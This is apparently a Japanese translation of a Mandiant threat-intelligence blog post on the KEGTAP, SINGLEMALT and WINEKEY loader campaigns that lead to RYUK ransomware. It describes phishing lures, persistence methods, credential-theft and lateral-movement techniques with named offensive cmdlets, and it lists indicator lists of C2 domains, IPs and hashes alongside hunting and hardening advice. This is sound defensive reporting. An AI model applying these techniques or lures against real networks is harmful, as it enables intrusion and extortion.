ブログ（脅威調査）

アンハッピーアワースペシャル：KEGTAPとSINGLEMALTにランサムウェアをチェイサーで

2020年11月9日 | by Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock

2020年を通して、ランサムウェア活動はますます活発になってきています。独立したオペレーションが協力し合うエコシステムを構築し、脅迫対象となる標的に進入しています。Mandiant Threat Intelligenceは、ランサムウェアの展開につながったローダーとバックドアによる侵害を複数追跡しました。初期侵害から24時間以内にランサムウェアが展開されたこともあるため、これらの活動を効果的かつ迅速に検知することが、この脅威を軽減する鍵となります。

Mandiantがインテリジェンス加入者に報告してきたこれらの攻撃を可能にするマルウェア・ファミリーには、KEGTAP/BEERBOT、SINGLEMALT/STILLBOT、WINEKEY/CORKBOTがあります。これらのマルウェア・ファミリーは、同じコマンド・アンド・コントロールインフラストラクチャ(C2)と通信し、機能的にも似ていますが、共通なコードはほとんどありません。これらのマルウェア・ファミリーはBazarLoader、BazarBackdoorやTeam9とも呼ばれています。

これらのキャンペーンを実施するオペレータは、昨今の世界的な医療危機の渦中においても、病院、退職コミュニティ、医療センターを積極的に対象としており、人命をないがしろにしているのは明らかです。

電子メールTTP

KEGTAP、SINGLEMALT、およびWINEKEYを配布するキャンペーンは、幅広い産業および地域にわたる組織に対して行われてきました。戦術、テクニック、および手順 (TTP)は頻繁に変化していますが、以下の点は最近の活動全体で一貫性を保っています:

メールには、攻撃者が管理するGoogle Docsドキュメントへのインライン・リンクが含まれます。リンク先にはPDFファイルがあることが多いです。
このドキュメントには、マルウェア・ペイロードをホストするURLへのインライン・リンクが含まれます。
メールは一般的な企業コミュニケーションを装います。営業時間の問い合わせ、電話のフォロー、または苦情、解雇、ボーナス、契約、勤務時間、アンケート等に関する内容を示唆します。
一部のメール、件名やメール本文に受信者の名前または雇用者の名前が含まれています。

このように統一性はあるものの、関連するTTPは頻繁に変更されています。キャンペーン間のみならず、同日の複数のスパムメールでも手法が異なる場合もあります。変化するポイントとして主なものは以下の通りです:

初期のキャンペーンはSendgridを介して配信され、利用者を攻撃者作成のGoogleドキュメントにリダイレクトする、Sendgrid URLへのインライン・リンクが含まれていました。対して最近のキャンペーンでは、侵害されたメールインフラ等、攻撃者が制御する基盤を介して配信され、たいてい、攻撃者作成のGoogleドキュメントへのインライン・リンクが含まれています。一部ではConstant Contact（メールマーケティングサービス）のリンクも使用されています。
これらのリンクによってロードされた文書は、メール・キャンペーンのテーマに多少関連するように作成され、ユーザーに追加のリンクをクリックするよう促します。クリックすると、ドキュメント・ファイルを装ったファイル名を持つマルウェア・バイナリがダウンロードされます。以前のキャンペーンでは、これらのマルウェア・バイナリは侵害されたサーバーにホストされていましたが、最近ではGoogle Drive、Basecamp、Slack、Trello、Yougile、JetBrains等、正規のウェブサービスにマルウェアを置くようになりました。
最近のキャンペーンでは、マルウェア・ペイロードは、正当なサービスの1つまたは複数で、多数のURL先に置いています。あるURLが停止された場合、攻撃者はGoogleドキュメント内のリンクを更新することもあります。
また一部のキャンペーンでは、受信者組織への関連を含めたり(図1)、Google Docsドキュメントに受信者組織のロゴを埋め込む等、カスタマイズが施されています(図2)。

図1:受信者組織の名前への関連づけを含むメール

図2:受信者組織のロゴを含むGoogle Docs PDFドキュメント

最終的なペイロードを複数のリンクの背後に隠すのは、いくつかのメール・フィルタ技術をかいくぐるのに容易かつ効果的な方法です。メール内のリンクをたどってマルウェアや悪意のあるドメインを特定しようとする機能を持つ技術もありますが、辿るリンクの数はまちまちです。またPDFドキュメント内にリンクを埋め込まれると、自動検知システムによるリンクフォローがさらに難しくなります。

侵害後のTTP

これらのキャンペーンから得られたアクセスが、収益化するために様々な攻撃グループに提供される可能性があることを考えると、侵害後のTTPは、展開されるランサムウェアの種類を含め、各ケースによって異なる場合があります。Mandiantが見てきた侵害後TTPでは、 UNC1878に関連づけられるものが多く見受けられます。 UNC1878は資金的利益を追求する攻撃グループで、RYUKランサムウェアを活用します。

足がかりの確立

ローダーとバックドアが被害者ホストで実行されると、攻撃者はこの最初のバックドアを使用して、足場を確立するためにPOWERTRICKやCobalt Strike BEACONペイロードをダウンロードします。ローダー、バックドア、及びPOWERTRICKは、少数のホストにのみンストールされており、これらは足場の確立と初期偵察活動に使われたと想定されます。対してBEACONは多くのホストで見つかっており、攻撃の様々な段階で使用されていました。

プレゼンスの維持

初期侵害、足場の確立とネットワーク内で横展開をした後、攻撃者がどのようにプレゼンスを維持しているかについてのばらつきを見てきました。Cobalt Strike、Metasploit、EMPIREなどの一般的なフレームワークに加えて、ANCHOR等のバックドアの使用も観察しました。ANCHORはTrickBotの背後にある攻撃グループの制御下にあると考えています。

この活動に関連付けられたローダーは、少なくとも4つのテクニックを使用して、リブート後も生き延びるようにしています。スケジュール・タスクの作成、ショートカットとしてのスタートアップフォルダへの自身の追加、/setnotifycmdlineを使用したスケジュールMicrosoft BITSジョブの作成、次のレジストリキーの下のUserinit値への自身の追加などがあります:
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
攻撃者は、初期侵害後にPOWERTRICK、Metasploit Meterpreter、Cobalt Strike BEACONペイロードをダウンロードします。被害者ネットワーク内の新しいホストに横展開した後に使われるのはBEACONが多いようです。被害者環境内で重要なシステムにおいてはCobalt Strikeペイロードをスケジュール・タスクに登録して再起動後も居座り続けるようにすることもありますが、BEACONがこれらのインシデントでは最も頻繁に使用されていました。
エンコードされたPowerShellコマンドを通じて、PowerShell EMPIREバックドアの実行も観測されました。
攻撃者はBEACONを用いてPowerLurkのRegister-MaliciousWmiEventコマンドレットを実行しました。これはタスクマネージャ、WireShark、TCPView、ProcDump、Process Explorer、Process Monitor、NetStat、PSLoggedOn、LogonSessions、Process Hacker、Autoruns、AutorunsSC、RegEdit、RegShot等のセキュリティ関連ツールのプロセスを強制終了するためのWMIイベントを登録します。
盗まれたクレデンシャルを、単一認証をするように設定された企業VPN対して使用することによる被害者環境へのアクセスを維持する場合もありました。

権限昇格

これらのインシデントでは有効なクレデンシャルが権限昇格に多用されました。攻撃者は様々な手法で特権アカウントのクレデンシャルをメモリーやディスクから取り出していました。

攻撃者はMimiKatzの亜種を使用して取得した有効な認証情報で権限昇格しました。被害者ホストのファイルシステムからの直接実行と、Cobalt Strike BEACON経由でPowershellコマンドレットを実行するパターンを確認しています。
攻撃者はドメイン・コントローラー上のActive Directoryデータベース、ntds.ditをエクスポートしたコピーやSYSTEM及びSECURITYレジストリ・ハイブを介して認証情報を取得しました。
複数のケースで、攻撃者はRUBEUS、MimiKatz Kerberosモジュール、Invoke-Kerberoastコマンドレット等でKerberosに対する攻撃を行いました。

探査

これらのインシデントにわたってホストとネットワーク探索を実行するために取られたアプローチは様々でしたが、観察された調査活動の多くはBLOODHOUND、SHARPHOUNDやADFindのようなフリーツールを使用したActive Directory捜索と、Cobalt Strike BEACON経由のPowerShellコマンドレット実行でした。

BEACONは、これらの侵入において多数のシステムにインストールされており、ホストに予め組み込まれたコマンドとPowerShellコマンドレットの両方を含むさまざまな偵察コマンドの実行に使用されていました。実行されたowerShellコマンドレットの一部を以下に示します:
- Get-GPPPassword
- Invoke-AllChecks
- Invoke-BloodHound
- Invoke-EternalBlue
- Invoke-FileFinder
- Invoke-HostRecon
- Invoke-Inveigh
- Invoke-Kerberoast
- Invoke-LoginPrompt
- Invoke-mimikittenz
- Invoke-ShareFinder
- Invoke-UserHunter
Mandiantは、ipconfig、findstr、cmd.exeなど、最初の被害者ホストでシステム・コマンドを実行するために、POWERTRICKを使用されたことを確認しました。
攻撃者は、Active Directoryの情報と認証情報を収集するために、被害者ネットワーク上でAdfind、BLOODHOUND、SHARPHOUND、およびKERBRUTEのようなフリーツールを活用しました。
WMICコマンドは、インストールされているソフトウェアの一覧表示、実行中のプロセスの一覧表示、オペレーティング・システムとシステム・アーキテクチャの識別など、ホスト調査を実行するために使用されていました。
攻撃者はバッチスクリプトを使用して、Active Directoryで見つけたすべてのサーバーに対してpingを実行し、その結果をres.txtに出力しました。
攻撃者はNltestコマンドを使用してドメイン・コントローラーを探しました。

横展開

横展開は、主に有効なクレデンシャルとCobalt Strike BEACON、RDPや、SMBと組み合わせて行われていました、また被害者ネットワークの足がかりを確立するために使われたバックドアが使用されたこともありました。

攻撃者は、被害者環境内で横展開するために、Cobalt Strike BEACONとMetasploit Meterpreterを多用しました。
攻撃者は主に被害者の環境内で乗っ取ったアカウント(通常のユーザーおよび管理者ユーザーの両方)を使用して、横展開しました。一般的な攻撃フレームワークの使用に加えて、WMICコマンドやWindows RDPおよびSMBプロトコルも使われました。
アクターはWindows net useコマンドを使用してWindows admin共有に接続し、横展開しました。

目的の達成

Mandiantは、RYUKランサムウェアを展開したKEGTAPインシデントを直接的に認識しています。また、CONTIやMAZEが展開される前に、ANCHORに感染したケースも確認しています。ANCHORは、同じ攻撃者に関連づけられています。

少なくとも1つのケースでは、SFTPを介して攻撃者のサーバーにファイルを転送するように設計された実行ファイルが確認されました。
攻撃者は、ユーザーファイルだけでなく、ネットワーク偵察活動によって得られたデータを転送するために、Cobalt Strike BEACONを使用しました。
攻撃者は、痕跡隠滅のために、被害者ホストからツールを削除していることが確認されました。
攻撃者は被害者ネットワークへのアクセスを使用してランサムウェア・ペイロードを展開しました。RYUKランサムウェアがPsExecを介して配布された可能性が高いことを示唆する証拠がありますが、配布処理に関連する他のスクリプトや痕跡はフォレンシック調査時にはありませんでした。

ハンティング戦略

KEGTAPまたはそれに類似したマルウェアに感染したと思われるホストを見つけた場合は、次の封じ込め処置が推奨されます。この進攻速度が速いため、これらのアクションは並行して実行する必要があることに注意してください。

影響を受けたシステムを隔離し、フォレンジック調査を行う。
影響を受けた機器を所有するユーザーへの受信メールで、配信キャンペーンに一致するメールを確認し、すべてのメールボックスからそのメッセージを削除する。
フィッシング・キャンペーンで使用されるURLを特定し、プロキシデバイスまたはネットワーク・セキュリティデバイスでそれらを遮断する。
マルウェアの実行に関連するすべてのユーザーアカウントの認証情報をリセットする。
影響を受けたシステムからの横展開認証について、組織全体レベルのレビューを行う。
リモート・アクセスシステム(VPN、VDIなど)で単一認証を行っているものからの認証ログを確認し、できるだけ早く多要素認証(MFA)に移行する。

初期侵害とその後の活動すべてに関連する痕跡の調査を組織全体レベルで行う必要があります。そのための基準となる指標をいくつか以下に示します。

KEGTAPローダーに関連した活動は、多くの場合、システム起動フォルダーとHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonレジストリキーの下にUserinit値のレビューによって識別できます。

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\adobe.lnk

図3:システム起動フォルダ内のKEGTAP永続性に関連するLNKファイルの例

SINGLEMALTは、BITSを使用してリブートを生き延びるため、多くの場合、異常なBITSジョブのレビューによって識別できます。SINGLEMALTは、よく知られたBITS永続メカニズムを使用していて、意図的に存在しないURLからダウンロードするジョブを作成します。これにより、障害イベントが発生します。ジョブは定期的に再試行するように設定されているため、マルウェアの実行が継続されます。ホストでBITSジョブを確認するには、コマンドbitsadmin/listを実行します。

表示名には、「Adobe Update」、「System autoupdate」、またはその他の汎用的な値となります。
通知状態がFail(ステータス2)に設定されていることもあります。
FileList URL値は、ローカルホストまたは存在しないURLに設定されています。
Notification Command Lineの値には、SINGLEMALT実行ファイルへのパスや、そのファイルを新しい場所に移動してから実行するコマンドとなります。
Retry Delayの値が設定されています。

WINEKEYは、レジストリ実行キーを使用してリブート後も存続するようにします。組織全体で異常な実行キーを検索すると、このマルウェアの影響を受けているシステムを特定するのに役立ちます。

Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backup Mgr

値:バックドアへのパス

図4:WINEKEYが永続性を維持するために使用するレジストリRunキーの例

ANCHORバックドアは、このアクティビティに関連する侵害の一部に見られ、多くの場合、永続性のために作成するスケジュール・タスクによって識別することができます。ANCHORによって作成されたスケジュール・タスクは、名前が付けられていないことがよくありますが、必ずしもそうではありません。

ANCHOR永続性に関連する名前付きスケジュールタスクの名前は次のパターンによって構築されます：<%APPDATA%内のランダムフォルダー> autoupdate#<乱数>
名前のないスケジュール・タスクはすべて要確認です。特に侵害の疑いがある時刻に近い時に作成されたタスクを優先的に確認します。

確度は低いですが、ANCHORは、C:\Windows\SysWOW64ディレクトリ内で、<ランダム小文字8文字>.exeのパターンに一致するファイル名を持つファイルを検索することによって識別される場合があります。また、C:\Windows\SysWOW64ディレクトリ内は、通常、ほとんど変化がないため、この中ファイルを作成時刻の順番で表示することで、悪意のあるファイルを容易に特定できる場合もあります。

これらのキャンペーンに続くランサムウェアの展開は、多くの場合、Cobalt Strike攻撃フレームワークを使用して実行されます。Cobalt Strike BEACONペイロードは、既存のサービスとサービス作成イベント (Event ID 7045) のレビューで識別できることが多いです。これらは、永続性を維持するために最も採用される手法のマーカーです。

関連する活動の識別に役立つ追加のストラテジーを以下に示します:

WebプロキシーログからGoogle Docsドキュメントを参照元（Referrer) とするファイル・ストレージ、プロジェクト管理、コラボレーション、またはコミュニケーション・サービスへのリクエストを確認する。
侵害後の活動中、攻撃者はPerfLogsディレクトリとC$共有をツールやデータの一時的保管場所として使うことが多いです。
後期のオペレーションを可能にするために使用されるデータを収集する間、攻撃者は乗っ取ったシステムにntds.ditのコピーやSYSTEM/SECURITYレジストリ・ハイブのエクスポートを残いていることが多々あります。

強化戦略

攻撃者が権限昇格や横展開に用いる手法は詳しくドキュメント化された手順であり、ネットワークとActive Directoryの設定不備を突いて、認証情報や悪用可能なシステム探すことです。組織は、このようなやりかたの影響と有効性を制限することができます。詳細な推奨事項については、対サムウェアに関するホワイトペーパーを参照してください。

サービスアカウントを総当たり攻撃やパスワード推測攻撃に対して強化します。ほとんどの組織には、パスワードが期限切れにならないように設定されたサービスアカウントがいくつかあります。これらのパスワードは古く、安全でない可能性があります。これらのアカウントをできるだけ長く複雑なパスワードにリセットするように努めてください。可能な場合は、MSAとgMSASに移行して自動ローテーションを行います。
横展開における特権アカウントの使用を禁止します。GPOを使用して、ドメイン管理者や特権サービスアカウントなどの特権アカウントによるRDP接続やネットワークログインの開始を制限します。攻撃者は多くの場合、RDPに使用するアカウントをいくつか選択します。使用可能なアカウントの数を制限することで、攻撃者の活動速度を低下させ、検知もより容易になります。
可能な場合は、サーバーからのインターネットアクセスをブロックします。サーバー、特にADインフラシステムはインターネットにアクセスする必要はありません。攻撃者は長時間稼働しているサーバーにBEACON等のツールを展開します。
WebプロキシまたはDNSフィルタを使用して、未分類のドメインと新しく登録されたドメインをブロックします。フィッシングを介して配信される最終的なペイロードは、ビジネスカテゴリを持たない侵害されたサードパーティのWebサイトでホストされることがよくあります。
重要なパッチがWindowsシステムとネットワーク・インフラストラクチャにインストールされているようにします。ランサムウェアを配備する前に、Zerologon(CVE-2020-1472)のような周知の脆弱性を利用して権限昇格をする攻撃者を確認しています。また、UNC1878とは無関係かもしれませんが、ランサムウェアを配備する前に、脆弱なVPNインフラストラクチャを介して攻撃グループが環境に接続したことを確認しています。

ランサムウェアなどの脅威のインテリジェンスについては、当社のThreat Intelligenceプラットホームの無料版であるMandiant Advantage Freeに登録してください。この脅威に関する追加情報については、こちらのState of the Hackのエピソードをご確認ください。

キャンペーンインジケーター

メール件名 / パターン

<(first|last)-name>: Important Information
<Company Name>
<Company Name> complaint
<(first|last)-name>
<(first|last)-name>
Agreement cancellation message
Agreement cancellation notice
Agreement cancellation notification
Agreement cancellation reminder
Agreement suspension message
Agreement suspension notice
Agreement suspension notification
Agreement suspension reminder
Arrangement cancellation message
Arrangement cancellation notice
Arrangement cancellation notification
Arrangement cancellation reminder
Arrangement suspension message
Arrangement suspension notice
Arrangement suspension notification
Arrangement suspension reminder
Contract cancellation message
Contract cancellation notice
Contract cancellation notification
Contract cancellation reminder
Contract suspension message
Contract suspension notice
Contract suspension notification
Contract suspension reminder
debit confirmation
FW: <Name> Annual Bonus Report is Ready
FW: Urgent: <Company Name>: A Customer Complaint Request – Prompt Action Required
RE: <(first|last)-name>
RE: <(first|last)-name>: Your Payslip for October
RE: <Company Name> - my visit
RE: <Company Name> Employee Survey
RE: <Company Name> office
RE: <Name> about complaint
RE: <Name> bonus
RE: <Name> termination list
RE: <Name>
RE: <Company Name> office
RE: <(first|last)-name>
RE: <(first|last)-name> <(first|last)-name>: complaint
RE: <(first|last)-name>: Subpoena
RE: <(first|last)-name>
RE: <(first|last)-name>: Your Payslip for September
RE: about complaint
RE: Adopted Filer Forms
RE: Business hours adjustment
RE: Business hours realignment
RE: Business hours rearrangement
RE: Business hours restructuring
RE: Business schedule adjustment
RE: Business schedule realignment
RE: Business schedule rearrangement
RE: Business schedule restructuring
RE: call me
RE: changes
RE: complaint
RE: Complaint in <Company Name>.
RE: Complaint on <Name>
RE: customer request
RE: debit confirmation
RE: document copy
RE: documents list
RE: Edgar Filer forms renovations
RE: employee bonuses
RE: Filer Forms adaptations
RE: my call
RE: New filer form types
RE: office
RE: our meeting
RE: Payroll Register
RE: report confirmation
RE: situation
RE: Subpoena
RE: termination
RE: till 2 pm
RE: Urgent <Company Name> Employee Internal Survey
RE: visit
RE: what about your opinion?
RE: what time?
RE: why
RE: why this debit
RE: Working schedule adjustment
RE: Working schedule realignment
RE: Working schedule rearrangement
RE: Working schedule restructuring
RE: Your Payslip for September

一部マルウェアのMD5ハッシュ値

KEGTAP
- df00d1192451268c31c1f8568d1ff472
BEERBOT
- 6c6a2bfa5846fab374b2b97e65095ec9
SINGLEMALT
- 37aa5690094cb6d638d0f13851be4246
STILLBOT
- 3176c4a2755ae00f4fffe079608c7b25
WINEKEY
- 9301564bdd572b0773f105287d8837c4
CORKBOT
- 0796f1c1ea0a142fc1eb7109a44c86cb

コードサイニング証明書CN

ARTBUD RADOM SP Z O O
BESPOKE SOFTWARE SOLUTIONS LIMITED
Best Fud, OOO
BlueMarble GmbH
CHOO FSP, LLC
Company Megacom SP Z O O
ESTELLA, OOO
EXON RENTAL SP Z O O
Geksan LLC
GLOBAL PARK HORIZON SP Z O O
Infinite Programming Limited
James LTH d.o.o.
Logika OOO
MADAS d.o.o.
MUSTER PLUS SP Z O O
NEEDCODE SP Z O O
Nordkod LLC
NOSOV SP Z O O
OOO MEP
PLAN CORP PTY LTD
REGION TOURISM LLC
RESURS-RM OOO
Retalit LLC
Rumikon LLC
SNAB-RESURS, OOO
TARAT d.o.o.
TES LOGISTIKA d.o.o.
VAS CO PTY LTD
VB CORPORATE PTY. LTD.
VITA-DE d.o.o.

UNC1878インジケーター

このキャンペーン活動の多くでは、MandiantがUNC1878として追跡している攻撃グループによってRYUKランサムウェアが展開されました。このためUNC1878に関連するインジケーターを以下に示します。

BEACON C2s

First Seen	Domain
12/11/19	updatemanagir[.]us
12/20/19	cmdupdatewin[.]com
12/26/19	scrservallinst[.]info
1/10/20	winsystemupdate[.]com
1/11/20	jomamba[.]best
1/13/20	updatewinlsass[.]com
1/16/20	winsysteminfo[.]com
1/20/20	livecheckpointsrs[.]com
1/21/20	ciscocheckapi[.]com
1/28/20	timesshifts[.]com
1/29/20	cylenceprotect[.]com
1/30/20	sophosdefence[.]com
1/30/20	taskshedulewin[.]com
1/30/20	windefenceinfo[.]com
1/30/20	lsasswininfo[.]com
1/30/20	update-wind[.]com
1/30/20	lsassupdate[.]com
1/30/20	renovatesystem[.]com
1/31/20	updatewinsoftr[.]com
2/2/20	cleardefencewin[.]com
2/2/20	checkwinupdate[.]com
2/2/20	havesetup[.]net
2/3/20	update-wins[.]com
2/3/20	conhostservice[.]com
2/4/20	microsoftupdateswin[.]com
2/4/20	iexploreservice[.]com
2/12/20	avrenew[.]com
2/12/20	target-support[.]online
2/12/20	web-analysis[.]live
2/14/20	freeallsafe[.]com
2/17/20	windefens[.]com
2/17/20	defenswin[.]com
2/17/20	easytus[.]com
2/17/20	greattus[.]com
2/17/20	livetus[.]com
2/17/20	comssite[.]com
2/17/20	findtus[.]com
2/17/20	bigtus[.]com
2/17/20	aaatus[.]com
2/17/20	besttus[.]com
2/17/20	firsttus[.]com
2/17/20	worldtus[.]com
2/26/20	freeoldsafe[.]com
2/26/20	serviceupdates[.]net
2/26/20	topserviceupdater[.]com
2/27/20	myserviceupdater[.]com
2/29/20	myservicebooster[.]net
2/29/20	servicesbooster[.]org
2/29/20	brainschampions[.]com
2/29/20	myservicebooster[.]com
2/29/20	topservicesbooster[.]com
2/29/20	servicesbooster[.]com
2/29/20	topservicesecurity[.]org
2/29/20	topservicesecurity[.]net
2/29/20	topsecurityservice[.]net
2/29/20	myyserviceupdater[.]com
2/29/20	topservicesupdate[.]com
2/29/20	topservicesecurity[.]com
2/29/20	servicesecurity[.]org
2/29/20	myserviceconnect[.]net
3/2/20	topservicesupdates[.]com
3/2/20	yoursuperservice[.]com
3/2/20	topservicehelper[.]com
3/2/20	serviceuphelper[.]com
3/2/20	serviceshelpers[.]com
3/2/20	boostsecuritys[.]com
3/3/20	hakunamatatata[.]com
3/8/20	service-updater[.]com
3/9/20	secondserviceupdater[.]com
3/9/20	twelvethserviceupdater[.]com
3/9/20	twentiethservicehelper[.]com
3/9/20	twelfthservicehelper[.]com
3/9/20	tenthservicehelper[.]com
3/9/20	thirdserviceupdater[.]com
3/9/20	thirdservicehelper[.]com
3/9/20	tenthserviceupdater[.]com
3/9/20	thirteenthservicehelper[.]com
3/9/20	seventeenthservicehelper[.]com
3/9/20	sixteenthservicehelper[.]com
3/9/20	sixthservicehelper[.]com
3/9/20	seventhservicehelper[.]com
3/9/20	seventhserviceupdater[.]com
3/9/20	sixthserviceupdater[.]com
3/9/20	secondservicehelper[.]com
3/9/20	ninthservicehelper[.]com
3/9/20	ninethserviceupdater[.]com
3/9/20	fourteenthservicehelper[.]com
3/9/20	fourthserviceupdater[.]com
3/9/20	firstserviceupdater[.]com
3/9/20	firstservisehelper[.]com
3/9/20	fifthserviceupdater[.]com
3/9/20	eleventhserviceupdater[.]com
3/9/20	fifthservicehelper[.]com
3/9/20	fourservicehelper[.]com
3/9/20	eighthservicehelper[.]com
3/9/20	eighteenthservicehelper[.]com
3/9/20	eighthserviceupdater[.]com
3/9/20	fifteenthservicehelper[.]com
3/9/20	nineteenthservicehelper[.]com
3/9/20	eleventhservicehelper[.]com
3/14/20	thirdservice-developer[.]com
3/14/20	fifthservice-developer[.]com
3/15/20	firstservice-developer[.]com
3/16/20	fourthservice-developer[.]com
3/16/20	ninethservice-developer[.]com
3/16/20	seventhservice-developer[.]com
3/16/20	secondservice-developer[.]com
3/16/20	sixthservice-developer[.]com
3/16/20	tenthservice-developer[.]com
3/16/20	eithtservice-developer[.]com
3/17/20	servicedupdater[.]com
3/17/20	service-updateer[.]com
3/19/20	sexyservicee[.]com
3/19/20	serviceboostnumberone[.]com
3/19/20	servicedbooster[.]com
3/19/20	service-hunter[.]com
3/19/20	servicedhunter[.]com
3/19/20	servicedpower[.]com
3/19/20	sexycservice[.]com
3/23/20	yourserviceupdater[.]com
3/23/20	top-serviceupdater[.]com
3/23/20	top-servicebooster[.]com
3/23/20	serviceshelps[.]com
3/23/20	servicemonsterr[.]com
3/23/20	servicehunterr[.]com
3/23/20	service-helpes[.]com
3/23/20	servicecheckerr[.]com
3/23/20	newservicehelper[.]com
3/23/20	huntersservice[.]com
3/23/20	helpforyourservice[.]com
3/23/20	boostyourservice[.]com
3/26/20	developmasters[.]com
3/26/20	actionshunter[.]com
5/4/20	info-develop[.]com
5/4/20	ayechecker[.]com
5/4/20	service-booster[.]com
9/18/20	zapored[.]com
9/22/20	gtrsqer[.]com
9/22/20	chalengges[.]com
9/22/20	caonimas[.]com
9/22/20	hakunaman[.]com
9/22/20	getinformationss[.]com
9/22/20	nomadfunclub[.]com
9/22/20	harddagger[.]com
9/22/20	errvghu[.]com
9/22/20	reginds[.]com
9/22/20	gameleaderr[.]com
9/22/20	razorses[.]com
9/22/20	vnuret[.]com
9/22/20	regbed[.]com
9/22/20	bouths[.]com
9/23/20	ayiyas[.]com
9/23/20	serviceswork[.]net
9/23/20	moonshardd[.]com
9/23/20	hurrypotter[.]com
9/23/20	biliyilish[.]com
9/23/20	blackhoall[.]com
9/23/20	checkhunterr[.]com
9/23/20	daggerclip[.]com
9/23/20	check4list[.]com
9/24/20	chainnss[.]com
9/29/20	hungrrybaby[.]com
9/30/20	martahzz[.]com
10/1/20	jonsonsbabyy[.]com
10/1/20	wondergodst[.]com
10/1/20	zetrexx[.]com
10/1/20	tiancaii[.]com
10/1/20	cantliee[.]com
10/1/20	realgamess[.]com
10/1/20	maybebaybe[.]com
10/1/20	saynoforbubble[.]com
10/1/20	chekingking[.]com
10/1/20	rapirasa[.]com
10/1/20	raidbossa[.]com
10/1/20	mountasd[.]com
10/1/20	puckhunterrr[.]com
10/1/20	pudgeee[.]com
10/1/20	loockfinderrs[.]com
10/1/20	lindasak[.]com
10/1/20	bithunterr[.]com
10/1/20	voiddas[.]com
10/1/20	sibalsakie[.]com
10/1/20	giveasees[.]com
10/1/20	shabihere[.]com
10/1/20	tarhungangster[.]com
10/1/20	imagodd[.]com
10/1/20	raaidboss[.]com
10/1/20	sunofgodd[.]com
10/1/20	rulemonster[.]com
10/1/20	loxliver[.]com
10/1/20	servicegungster[.]com
10/1/20	kungfupandasa[.]com
10/2/20	check1domains[.]com
10/5/20	sweetmonsterr[.]com
10/5/20	qascker[.]com
10/7/20	remotessa[.]com
10/7/20	cheapshhot[.]com
10/7/20	havemosts[.]com
10/7/20	unlockwsa[.]com
10/7/20	sobcase[.]com
10/7/20	zhameharden[.]com
10/7/20	mixunderax[.]com
10/7/20	bugsbunnyy[.]com
10/7/20	fastbloodhunter[.]com
10/7/20	serviceboosterr[.]com
10/7/20	servicewikii[.]com
10/7/20	secondlivve[.]com
10/7/20	quwasd[.]com
10/7/20	luckyhunterrs[.]com
10/7/20	wodemayaa[.]com
10/7/20	hybriqdjs[.]com
10/7/20	gunsdrag[.]com
10/7/20	gungameon[.]com
10/7/20	servicemount[.]com
10/7/20	servicesupdater[.]com
10/7/20	service-boosterr[.]com
10/7/20	serviceupdatter[.]com
10/7/20	dotmaingame[.]com
10/12/20	backup1service[.]com
10/13/20	bakcup-monster[.]com
10/13/20	bakcup-checker[.]com
10/13/20	backup-simple[.]com
10/13/20	backup-leader[.]com
10/13/20	backup-helper[.]com
10/13/20	service-checker[.]com
10/13/20	nasmastrservice[.]com
10/14/20	service-leader[.]com
10/14/20	nas-simple-helper[.]com
10/14/20	nas-leader[.]com
10/14/20	boost-servicess[.]com
10/14/20	elephantdrrive[.]com
10/15/20	service-hellper[.]com
10/16/20	top-backuphelper[.]com
10/16/20	best-nas[.]com
10/16/20	top-backupservice[.]com
10/16/20	bestservicehelper[.]com
10/16/20	backupnas1[.]com
10/16/20	backupmastter[.]com
10/16/20	best-backup[.]com
10/17/20	viewdrivers[.]com
10/19/20	topservicebooster[.]com
10/19/20	topservice-masters[.]com
10/19/20	topbackupintheworld[.]com
10/19/20	topbackup-helper[.]com
10/19/20	simple-backupbooster[.]com
10/19/20	top3-services[.]com
10/19/20	backup1services[.]com
10/21/20	backupmaster-service[.]com
10/21/20	backupmasterservice[.]com
10/21/20	service1updater[.]com
10/21/20	driverdwl[.]com
10/21/20	backup1master[.]com
10/21/20	boost-yourservice[.]com
10/21/20	checktodrivers[.]com
10/21/20	backup1helper[.]com
10/21/20	driver1updater[.]com
10/21/20	driver1master[.]com
10/23/20	view-backup[.]com
10/23/20	top3servicebooster[.]com
10/23/20	servicereader[.]com
10/23/20	servicehel[.]com
10/23/20	driver-boosters[.]com
10/23/20	service1update[.]com
10/23/20	service-hel[.]com
10/23/20	driver1downloads[.]com
10/23/20	service1view[.]com
10/23/20	backups1helper[.]com
10/25/20	idriveview[.]com
10/26/20	debug-service[.]com
10/26/20	idrivedwn[.]com
10/28/20	driverjumper[.]com
10/28/20	service1boost[.]com
10/28/20	idriveupdate[.]com
10/28/20	idrivehepler[.]com
10/28/20	idrivefinder[.]com
10/28/20	idrivecheck[.]com
10/28/20	idrivedownload[.]com

First Seen	Server	Subject	MD5
12/12/19	140.82.60.155:443	CN=updatemanagir[.]us	ec16be328c09473d5e5c07310583d85a
12/21/19	96.30.192.141:443	CN=cmdupdatewin[.]com	3d4de17df25412bb714fda069f6eb27e
1/6/20	45.76.49.78:443	CN=scrservallinst[.]info	cd6035bd51a44b597c1e181576dd44d9
1/8/20	149.248.58.11:443	CN=updatewinlsass[.]com	8c581979bd11138ffa3a25b895b97cc0
1/9/20	96.30.193.57:443	CN=winsystemupdate[.]com	e4e732502b9658ea3380847c60b9e0fe
1/14/20	95.179.219.169:443	CN=jomamba[.]best	80b7001e5a6e4bd6ec79515769b91c8b
1/16/20	140.82.27.146:443	CN=winsysteminfo[.]com	29e656ba9d5d38a0c17a4f0dd855b37e
1/19/20	45.32.170.9:443	CN=livecheckpointsrs[.]com	1de9e9aa8363751c8a71c43255557a97
1/20/20	207.148.8.61:443	CN=ciscocheckapi[.]com	97ca76ee9f02cfda2e8e9729f69bc208
1/28/20	209.222.108.106:443	CN=timesshifts[.]com	2bb464585f42180bddccb50c4a4208a5
1/29/20	31.7.59.141:443	CN=updatewinsoftr[.]com	07f9f766163c344b0522e4e917035fe1
1/29/20	79.124.60.117:443	C=US	9722acc9740d831317dd8c1f20d8cfbe
1/29/20	66.42.86.61:443	CN=lsassupdate[.]com	3c9b3f1e12473a0fd28dc37071168870
1/29/20	45.76.20.140:443	CN=cylenceprotect[.]com	da6ce63f4a52244c3dced32f7164038a
1/29/20	45.76.20.140:80	CN=cylenceprotect[.]com	da6ce63f4a52244c3dced32f7164038a
1/30/20	149.248.5.240:443	CN=sophosdefence[.]com	e9b4b649c97cdd895d6a0c56015f2e68
1/30/20	144.202.12.197:80	CN=windefenceinfo[.]com	c6c63024b18f0c5828bd38d285e6aa58
